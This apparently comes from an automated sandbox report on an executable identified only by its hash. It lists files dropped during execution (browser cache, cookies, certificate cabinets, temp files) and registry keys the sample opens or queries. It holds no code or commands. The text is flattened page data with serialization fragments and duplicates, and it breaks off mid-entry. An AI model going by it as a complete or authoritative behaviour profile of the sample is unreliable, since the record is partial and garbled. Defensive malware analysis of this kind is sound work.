[%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\70DAE932E3BCB3C00656A27B544BA9CA]- [targetUID: 00000000-00004040] "browse_1_.css" has type "ASCII text with CRLF LF line terminators"- [targetUID: N/A] "header_logo_1_.png" has type "PNG image data 744 x 171 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "_AE096DA6-809B-11EE-AD50-080027561EB7_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "739F2FF4259CDC6CBE7B90F1A95601EF" has type "data"- [targetUID: 00000000-00001884] "_A71B9819-809B-11EE-AD50-080027561EB7_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_ADAED44A-809B-11EE-AD50-080027561EB7_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._AB691683-809B-11EE-AD50-080027561EB7_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._A7A842D5-809B-11EE-AD50-080027561EB7_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._A71B9817-809B-11EE-AD50-080027561EB7_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_AF63E688-80A8-11EE-AD50-080027561EB7_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._A66B2A13-809B-11EE-AD50-080027561EB7_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._AAFB6A57-809B-11EE-AD50-080027561EB7_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "favicon_2_.ico" has type "MS Windows icon resource - 2 icons 16x16 32 bits/pixel 32x32 32 bits/pixel"- [targetUID: N/A] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4770 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00002668] "_66CF8218-80AA-11EE-AD50-080027561EB7_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_8DBC405E-80A1-11EE-AD50-080027561EB7_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_5DB6289E-80AA-11EE-AD50-080027561EB7_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_47CD74BA-80B9-11EE-AD50-080027561EB7_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_530D2ABE-80AD-11EE-AD50-080027561EB7_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "favicon_1_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "header_menu_hamburger_1_.png" has type "PNG image data 244 x 212 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "dberr.txt" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "logo_steam_footer_1_.png" has type "PNG image data 92 x 26 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "motiva_sans_1_.css" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "footerLogo_valve_new_1_.png" has type "PNG image data 176 x 50 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "logo_valve_footer_1_.png" has type "PNG image data 92 x 26 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "646C991C2A28825F3CC56E0A1D1E3FA9" has type "data"- [targetUID: 00000000-00004040] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- [targetUID: 00000000-00004040] "ico_twitter_1_.gif" has type "GIF image data version 89a 16 x 16"- [targetUID: N/A] "ico_facebook_1_.gif" has type "GIF image data version 89a 16 x 16"- [targetUID: N/A] "logo46x38_1_.png" has type "PNG image data 46 x 38 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "4748633DC5731827D4B432DBAC7A3ECE" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\4748633DC5731827D4B432DBAC7A3ECE]- [targetUID: 00000000-00002600] "69C6F6EC64E114822DF688DC12CDD86C" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\69C6F6EC64E114822DF688DC12CDD86C]- [targetUID: 00000000-00004040] "0270780F846F08BEFE0DD8112D932FEF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\0270780F846F08BEFE0DD8112D932FEF]- [targetUID: 00000000-00001884] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00001884] "6B2043001D270792DFFD725518EAFE2C" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\6B2043001D270792DFFD725518EAFE2C]- [targetUID: 00000000-00002668] "HCIBBJ1Y.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\HCIBBJ1Y.txt]- [targetUID: 00000000-00002328] "ICIWLTA4.txt" has type "ASCII text"- [targetUID: N/A] "A16C6C16D94F76E0808C087DFC657D99_5B226F2301FD399CF34ABA67B4DC6AC8" has type "data"- [targetUID: 00000000-00001884] "EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619]- [targetUID: 00000000-00000108] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419]- [targetUID: 00000000-00001528] "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00002328] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00002328] "80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868]- [targetUID: 00000000-00002328] "35DDEDF268117918D1D277A171D8DF7B_63BF650CC326FEDF447792693EE806B1" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\35DDEDF268117918D1D277A171D8DF7B_63BF650CC326FEDF447792693EE806B1]- [targetUID: 00000000-00001884] "59D76868C250B3240414CE3EFBB12518_DB3354A21B46C492983D8DC6E09DCFAD" has type "data"- [targetUID: 00000000-00001528] "E573CDF4C6D731D56A665145182FD759_E391470CF0D37EE71D631C107209CEFF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E573CDF4C6D731D56A665145182FD759_E391470CF0D37EE71D631C107209CEFF]- [targetUID: 00000000-00000108] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00003712] "F2DDCD2B5F37625B82E81F4976CEE400_57CE1AECC398AD2C94DD1A683EAD09FC" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_57CE1AECC398AD2C94DD1A683EAD09FC]- [targetUID: 00000000-00004040] "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" has type "data"- [targetUID: N/A] "OHZ1VA1Y.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\OHZ1VA1Y.txt]- [targetUID: 00000000-00002328] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00002328] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419]- [targetUID: 00000000-00001528] "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00002328] "80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868]- [targetUID: 00000000-00002328] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00004040] "35DDEDF268117918D1D277A171D8DF7B_63BF650CC326FEDF447792693EE806B1" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\35DDEDF268117918D1D277A171D8DF7B_63BF650CC326FEDF447792693EE806B1]- [targetUID: 00000000-00001884] "F2DDCD2B5F37625B82E81F4976CEE400_57CE1AECC398AD2C94DD1A683EAD09FC" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_57CE1AECC398AD2C94DD1A683EAD09FC]- [targetUID: 00000000-00004040] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00003712] "EAF8AA29A62AB29E614331747385D816_F9E4DC0B9D5C777357D7DB8DEF51118A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\EAF8AA29A62AB29E614331747385D816_F9E4DC0B9D5C777357D7DB8DEF51118A]- [targetUID: 00000000-00002668] "E573CDF4C6D731D56A665145182FD759_E391470CF0D37EE71D631C107209CEFF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E573CDF4C6D731D56A665145182FD759_E391470CF0D37EE71D631C107209CEFF]- [targetUID: 00000000-00000108] "EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619]- [targetUID: 00000000-00000108] "9WUFA29Q.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\9WUFA29Q.txt]- [targetUID: 00000000-00001528] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00001884] "OQA3WIMC.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\OQA3WIMC.txt]- [targetUID: 00000000-00001884] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00002668] "77EC63BDA74BD0D0E0426DC8F8008506" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002668] "96023HSX.htm" has type "gzip compressed data last modified: Fri Jan 19 20:33:04 1996 from TOPS/20 original size modulo 2^32 338"- [targetUID: N/A] "EAF8AA29A62AB29E614331747385D816_F9E4DC0B9D5C777357D7DB8DEF51118A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EAF8AA29A62AB29E614331747385D816_F9E4DC0B9D5C777357D7DB8DEF51118A]- [targetUID: 00000000-00002668] "OX750VFZ.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\OX750VFZ.txt]- [targetUID: 00000000-00001528] "btn_header_installsteam_download_1_.png" has type "PNG image data 15 x 13 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "0270780F846F08BEFE0DD8112D932FEF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\0270780F846F08BEFE0DD8112D932FEF]- [targetUID: 00000000-00001884] "4Z1MRSMS.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\4Z1MRSMS.txt]- [targetUID: 00000000-00001884] "6B2043001D270792DFFD725518EAFE2C" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\6B2043001D270792DFFD725518EAFE2C]- [targetUID: 00000000-00002668] "6DB145CFEEC544B1582FED1ADA3370DD" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\6DB145CFEEC544B1582FED1ADA3370DD]- [targetUID: 00000000-00004040] "69C6F6EC64E114822DF688DC12CDD86C" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\69C6F6EC64E114822DF688DC12CDD86C]- [targetUID: 00000000-00004040] "BEC6224B02D155A396218A2504F3EE0B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\BEC6224B02D155A396218A2504F3EE0B]- [targetUID: 00000000-00001884] "249KW426.txt" has type "ASCII text"- [targetUID: N/A] "0X18CT7E.txt" has type "ASCII text"- [targetUID: N/A] "20P6JMR1.htm" has type "gzip compressed data original size modulo 2^32 338"- [targetUID: N/A] "2A4J5JDS.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\2A4J5JDS.txt]- [targetUID: 00000000-00004040] "2ZHBUAXV.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\2ZHBUAXV.txt]- [targetUID: 00000000-00004040] "3TO5UUGL.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\3TO5UUGL.txt]- [targetUID: 00000000-00001884] "3GOKYBFB.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\3GOKYBFB.txt]- [targetUID: 00000000-00001884] "70DAE932E3BCB3C00656A27B544BA9CA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\70DAE932E3BCB3C00656A27B544BA9CA]- [targetUID: 00000000-00004040] "ZH38MWEQ.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\ZH38MWEQ.txt]- [targetUID: 00000000-00001528] "4748633DC5731827D4B432DBAC7A3ECE" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\4748633DC5731827D4B432DBAC7A3ECE]- [targetUID: 00000000-00002600] "btn_arrow_down_padded_1_.png" has type "PNG image data 19 x 12 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "FO2K3M3N.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\FO2K3M3N.txt]- [targetUID: 00000000-00001884] "N0KOYF7N.txt" has type "ASCII text"- [targetUID: N/A] "CTAEP2E1.txt" has type "ASCII text"- [targetUID: N/A] "F4Y5TT1F.txt" has type "ASCII text"- [targetUID: N/A] "EK27Z285.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\EK27Z285.txt]- [targetUID: 00000000-00001884] "8360RFC7.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\8360RFC7.txt]- [targetUID: 00000000-00002600] "IF764D4J.txt" has type "ASCII text"- [targetUID: N/A] "PYXWKJTG.txt" has type "ASCII text"- [targetUID: N/A] "D7TBW9T9.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\D7TBW9T9.txt]- [targetUID: 00000000-00004040] "I2FYBVD3.txt" has type "ASCII text"- [targetUID: N/A] "FSAA0YXG.txt" has type "ASCII text"- [targetUID: N/A] "9UQODDS9.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\9UQODDS9.txt]- [targetUID: 00000000-00004040] "XKYHCEYX.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\XKYHCEYX.txt]- [targetUID: 00000000-00002328] "LTS7S3EP.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\LTS7S3EP.txt]- [targetUID: 00000000-00001528] "0VKTH4BW.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\0VKTH4BW.txt]- [targetUID: 00000000-00000108] "93K77JMP.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\93K77JMP.txt]- [targetUID: 00000000-00002600] "1CP6TDPY.txt" has type "ASCII text"- [targetUID: N/A] "3TK80CPD.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\3TK80CPD.txt]- [targetUID: 00000000-00001884] "3MCT0C9H.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\3MCT0C9H.txt]- [targetUID: 00000000-00002600] "LXS5RHDZ.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\LXS5RHDZ.txt]- [targetUID: 00000000-00002328] "WG80DJR4.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\WG80DJR4.txt]- [targetUID: 00000000-00002600] "FUZUSJ7A.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\FUZUSJ7A.txt]- [targetUID: 00000000-00001884] "bscframe_1_.htm" has type "HTML document ASCII text with no line terminators"- [targetUID: N/A] "Tar16A3.tmp" has type "data"- [targetUID: N/A] "Tar1105.tmp" has type "data"- [targetUID: N/A] "Tar16E3.tmp" has type "data"- [targetUID: N/A] "Tar11E0.tmp" has type "data"- Location: [%TEMP%\Tar11E0.tmp]- [targetUID: 00000000-00002140] "Tar158C.tmp" has type "data"- [targetUID: N/A] "Cab16E2.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: N/A] "Cab1104.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: N/A] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002668] "Cab158B.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: N/A] "Cab16A2.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: N/A] "Cab11A1.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\Cab11A1.tmp]- [targetUID: 00000000-00002140] "~DF5E5A2D18DFE4BC11.TMP" has type "data"- Location: [%TEMP%\~DF5E5A2D18DFE4BC11.TMP]- [targetUID: 00000000-00002668] "BEC6224B02D155A396218A2504F3EE0B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\BEC6224B02D155A396218A2504F3EE0B]- [targetUID: 00000000-00001884] "favicon_2_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "search__0633EE93-D776-472f-A0FF-E1416B8B2E3A_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "6DB145CFEEC544B1582FED1ADA3370DD" has type "data"- [targetUID: 00000000-00004040] "IU3PFQNW.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\IU3PFQNW.txt]- [targetUID: 00000000-00003712] "UZKVTMLA.htm" has type "gzip compressed data original size modulo 2^32 338"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\UZKVTMLA.htm]- [targetUID: 00000000-00002600] "FLJN0U6R.txt" has type "ASCII text"- [targetUID: N/A] "L0CWEDYX.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\L0CWEDYX.txt]- [targetUID: 00000000-00002328] "bscframe_2_.htm" has type "HTML document ASCII text with no line terminators"- [targetUID: N/A]57:T88a,"Tar10A8.tmp" has type "data" "Cab10A7.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression" "~DFB52471DD03E8F5D0.TMP" has type "data" - Location: [%TEMP%\~DFB52471DD03E8F5D0.TMP] "~DF507A9FBB971317D1.TMP" has type "data" - Location: [%TEMP%\~DF507A9FBB971317D1.TMP] "~DF2FC329B0FD338AC6.TMP" has type "data" "~DF86B97C3BC1C72ABE.TMP" has type "data" - Location: [%TEMP%\~DF86B97C3BC1C72ABE.TMP] "~DFBC50098B4BD5CAD3.TMP" has type "data" "~DF032B83EA32A6F5D8.TMP" has type "data" - Location: [%TEMP%\~DF032B83EA32A6F5D8.TMP] "~DF3612AEC0AE9133D3.TMP" has type "data" - Location: [%TEMP%\~DF3612AEC0AE9133D3.TMP] "~DF27747B4F6A200AAC.TMP" has type "data" "~DF2B541094E8E17076.TMP" has type "data" - Location: [%TEMP%\~DF2B541094E8E17076.TMP] "~DFAF9AF41A9DDDC8E7.TMP" has type "data" - Location: [%TEMP%\~DFAF9AF41A9DDDC8E7.TMP] "~DF8797A05A41C3AFB0.TMP" has type "data" - Location: [%TEMP%\~DF8797A05A41C3AFB0.TMP] "~DFA2EBD2EB0B1C5820.TMP" has type "data" "~DF6CC99E1900815B14.TMP" has type "data" - Location: [%TEMP%\~DF6CC99E1900815B14.TMP] "Tar16A3.tmp" has type "data" "Tar1105.tmp" has type "data" "Tar16E3.tmp" has type "data" "Tar11E0.tmp" has type "data" - Location: [%TEMP%\Tar11E0.tmp] "Tar158C.tmp" has type "data" "Cab16E2.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression" "Cab1104.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression" "Cab158B.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression" "Cab16A2.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression" "Cab11A1.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression" - Location: [%TEMP%\Cab11A1.tmp]58:T8db,"0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "")59:Td66,"0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: 